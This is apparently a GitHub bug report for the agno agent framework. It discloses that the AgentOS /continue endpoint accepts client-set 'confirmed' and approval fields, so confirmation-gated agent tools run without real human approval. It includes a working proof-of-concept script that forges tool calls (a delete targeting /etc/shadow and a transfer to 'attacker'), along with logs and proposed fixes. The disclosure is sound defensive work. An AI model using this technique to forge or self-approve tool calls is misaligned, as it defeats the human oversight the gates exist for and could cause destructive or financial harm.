#10589·agno

[Bug] AgentOS `/continue` trusts client-supplied approval state, bypassing tool confirmation gates

Author: VancirCreated Sep 25, 2026Updated Sep 29, 2026
Labelsbug

Description

POST /agents/{agent_id}/runs/{run_id}/continue decides whether to execute a tool from approval fields in the request body (confirmed, requires_confirmation,approval_type) instead of the run's own server-side approval state. As a result, anyone able to call this endpoint for a run can execute a confirmation-gated tool with arbitrary arguments, without any real human/admin approval.

This defeats both human-in-the-loop mechanisms:

  • @tool(requires_confirmation=True) — a fabricated tool call can be executed on a run that never paused.
  • @approval(type="required") — the DB-backed blocking approval can be self-approved; the tool runs while the server-side approval record is still pending.

Steps to Reproduce

  1. Install: pip install agno openai fastapi httpx sqlalchemy aiosqlite python-multipart
  2. Save the script from below as poc.py.
python
"""
PoC: agno AgentOS POST /agents/{id}/runs/{run_id}/continue trusts client-supplied tool
state (`confirmed` / `requires_confirmation` / `approval_type`) instead of the run's own
server-side approval state, so a confirmation-gated tool runs without real approval.

A) @tool(requires_confirmation=True): a fabricated call runs on a COMPLETED run.
B) @approval(type="required"):        a pending run is self-approved; the DB record
                                      stays 'pending'. The legit path (no tools) refuses.

agno 3.0.11. No LLM/network: a local fake OpenAI server serves the turns.
Deps: pip install agno openai fastapi httpx sqlalchemy aiosqlite python-multipart
"""
import json, os, threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from fastapi.testclient import TestClient
from agno.os import AgentOS
from agno.agent import Agent
from agno.models.openai import OpenAIChat
from agno.db.sqlite import SqliteDb
from agno.tools import tool
from agno.approval import approval, ApprovalType

WIRE = {"id": "call_MODEL_1", "type": "function", "function": {
    "name": "wire_transfer", "arguments": json.dumps({"amount": 5000, "to": "attacker"})}}


class Fake(BaseHTTPRequestHandler):
    """Requests wire_transfer when asked to 'pay' (-> run pauses); else answers plainly."""
    def log_message(self, *a): pass
    def do_POST(self):
        msgs = json.loads(self.rfile.read(int(self.headers.get("Content-Length", 0)) or 0) or b"{}").get("messages", [])
        pay = any("pay" in str(m.get("content", "")).lower() for m in msgs if m.get("role") == "user")
        ran = any(m.get("role") == "tool" for m in msgs)
        msg = {"role": "assistant", "content": None, "tool_calls": [WIRE]} if pay and not ran else \
              {"role": "assistant", "content": "ok"}
        data = json.dumps({"choices": [{"index": 0, "message": msg,
              "finish_reason": "tool_calls" if "tool_calls" in msg else "stop"}]}).encode()
        self.send_response(200); self.send_header("Content-Length", str(len(data))); self.end_headers()
        self.wfile.write(data)


srv = ThreadingHTTPServer(("127.0.0.1", 0), Fake)
threading.Thread(target=srv.serve_forever, daemon=True).start()
BASE = f"http://127.0.0.1:{srv.server_address[1]}/v1"

DELETED, TRANSFERRED = [], []


@tool(requires_confirmation=True)
def delete_everything(target: str) -> str:
    """Irreversibly deletes the target. Requires human confirmation."""
    DELETED.append(target); return "deleted"


@approval(type=ApprovalType.required)   # approval_type="required" + requires_confirmation=True
@tool()
def wire_transfer(amount: int, to: str) -> str:
    """Move money. Requires a separate admin approval."""
    TRANSFERRED.append((amount, to)); return "sent"


os.path.exists("/tmp/poc.db") and os.unlink("/tmp/poc.db")
db = SqliteDb(db_file="/tmp/poc.db")
agent = Agent(id="agent-a", model=OpenAIChat(id="gpt-4o", base_url=BASE, api_key="x"),
              tools=[delete_everything, wire_transfer], db=db, telemetry=False)
app = AgentOS(agents=[agent], telemetry=False).get_app()


def status(rid):
    rows, _ = db.get_approvals(run_id=rid)
    return [r.get("status") for r in rows] or ["<none>"]


def run(msg, sid):
    return c.post("/agents/agent-a/runs", data={"message": msg, "session_id": sid, "stream": "false"}).json()


def cont(rid, sid, tools=None):
    d = {"session_id": sid, "continue_from": "end", "stream": "false"}
    if tools is not None:
        d["tools"] = json.dumps(tools)
    return c.post(f"/agents/agent-a/runs/{rid}/continue", data=d)


with TestClient(app, raise_server_exceptions=False) as c:
    print("A) @tool(requires_confirmation=True) - fabricated call on a COMPLETED run")
    r = run("hello", "sA")
    print(f"   run: status={r['status']} tools={r.get('tools')}")
    forged = [{"tool_call_id": "NEVER_ISSUED", "tool_name": "delete_everything",
               "tool_args": {"target": "/etc/shadow"}, "requires_confirmation": True, "confirmed": True}]
    cont(r["run_id"], "sA", forged)
    print(f"   forged continue (confirmed=true):  deleted={DELETED}  -> {'VULNERABLE' if DELETED else 'safe'}")
    DELETED.clear(); r = run("hello", "sA2"); forged[0]["confirmed"] = False
    cont(r["run_id"], "sA2", forged)
    print(f"   control        (confirmed=false): deleted={DELETED}  (decisive input = client `confirmed`)")

    print("\nB) @approval(type='required') - self-approving a run awaiting admin approval")
    r = run("please pay", "sB"); rid = r["run_id"]
    print(f"   run: status={r['status']} approval={status(rid)}")
    forged = dict(r["tools"][0]); forged.update({"confirmed": True, "result": None})
    cont(rid, "sB", [forged])
    print(f"   forged continue: transferred={TRANSFERRED} approval={status(rid)}  "
          f"-> {'VULNERABLE (ran, record still pending)' if TRANSFERRED else 'safe'}")
    TRANSFERRED.clear(); r = run("please pay", "sB2")
    resp = cont(r["run_id"], "sB2")   # legit path: no tools body
    print(f"   control (no tools): http={resp.status_code} transferred={TRANSFERRED}  (gate holds)")
  1. Run: python poc.py (it starts a local fake OpenAI-compatible server, so no API key or network is needed).
  2. Observe the output (see Actual Behavior). Both scenarios print VULNERABLE.

Scenario A (fabricated call): start a normal run that completes without any tool call, then POST .../continue with a tools array containing a tool call the model never issued, with confirmed: true — the tool executes.

Scenario B (self-approval): start a run that pauses on an approval_type="required" tool (a pending DB approval record is created), then POST .../continue with that same pending call and confirmed: true — the tool executes while the record stays pending

Agent Configuration (if applicable)

No response

Expected Behavior

/continue should execute a confirmation-gated tool only when the run's own server-side state authorizes it: the run is paused on that exact tool call, the tool_call_id matches a call the model actually issued, and for approval_type="required" the approval record is approved. A fabricated call, a call on a COMPLETED run, or a client-set confirmed=true on a still-pending approval should be rejected.

Actual Behavior

The tool executes based solely on the request-body fields. A fabricated call runs on a COMPLETED run, and a required-approval tool runs while its DB record is still pending. In A, confirmed=false does not execute — confirming the decisive input is the client's confirmed bit. In B, the legitimate no-tools path is correctly refused (HTTP 400), proving the gate exists and is specifically bypassed by supplying tools.

Screenshots or Logs (if applicable)

bash
INFO Database ready: SqliteDb id=4549ccb4-5700-5508-9b48-02a177399cfc                                                                                           
A) @tool(requires_confirmation=True) - fabricated call on a COMPLETED run
   run: status=COMPLETED tools=[]
   forged continue (confirmed=true):  deleted=['/etc/shadow']  -> VULNERABLE
   control        (confirmed=false): deleted=[]  (decisive input = client `confirmed`)

B) @approval(type='required') - self-approving a run awaiting admin approval
   run: status=PAUSED approval=['pending']
   forged continue: transferred=[(5000, 'attacker')] approval=['pending']  -> VULNERABLE (ran, record still pending)
ERROR    HTTP exception: 400 Run has unresolved HITL requirements. Provide the `requirements` parameter (or resolve an admin approval first).                   
   control (no tools): http=400 transferred=[]  (gate holds)

Environment

markdown
- agno: 3.0.11 (latest on PyPI); same code on `main` as of 2026-09-22
- Python: 3.12.3
- OS: Linux (x86_64)
- openai: 3.19.2, fastapi: 0.141.1
- DB: SqliteDb (local)

Possible Solutions (optional)

  • Treat body confirmed / requires_confirmation / approval_type as intent only. Base the decision on server-side state: match each submitted execution to a persisted, still-pending requirement for this run, and require approval_type="required" records to be approved.
  • Run the approval/status gate (check_and_apply_approval_resolution or equivalent) on the tools-supplied branch too, not only the no-tools branch, and reject continues of runs that are not paused / have no unresolved requirements.
  • When merging submitted tools, validate each tool_call_id against the run's real pending calls (valid_tool_call_ids) and drop non-matching entries instead of overwriting the list.

Additional Context

Root cause (agno 3.0.11):

  1. ToolExecution.from_dict copies all body fields verbatim, incl. confirmed / requires_confirmation / approval_type / tool_name / tool_args, with no validation (agno/models/response.py:83).
  2. With tools in the body, the continue dispatch takes the if requirements is not None: branch and overwrites the run's tool list (run_response.tools = updated_tools); the server-side gate check_and_apply_approval_resolution is only wired into the other (no-tools) branch (agno/agent/_run.py:3624 vs :3641).
  3. Execution keys only on those client fields (agno/agent/_tools.py:989); approval_type and the DB are never checked.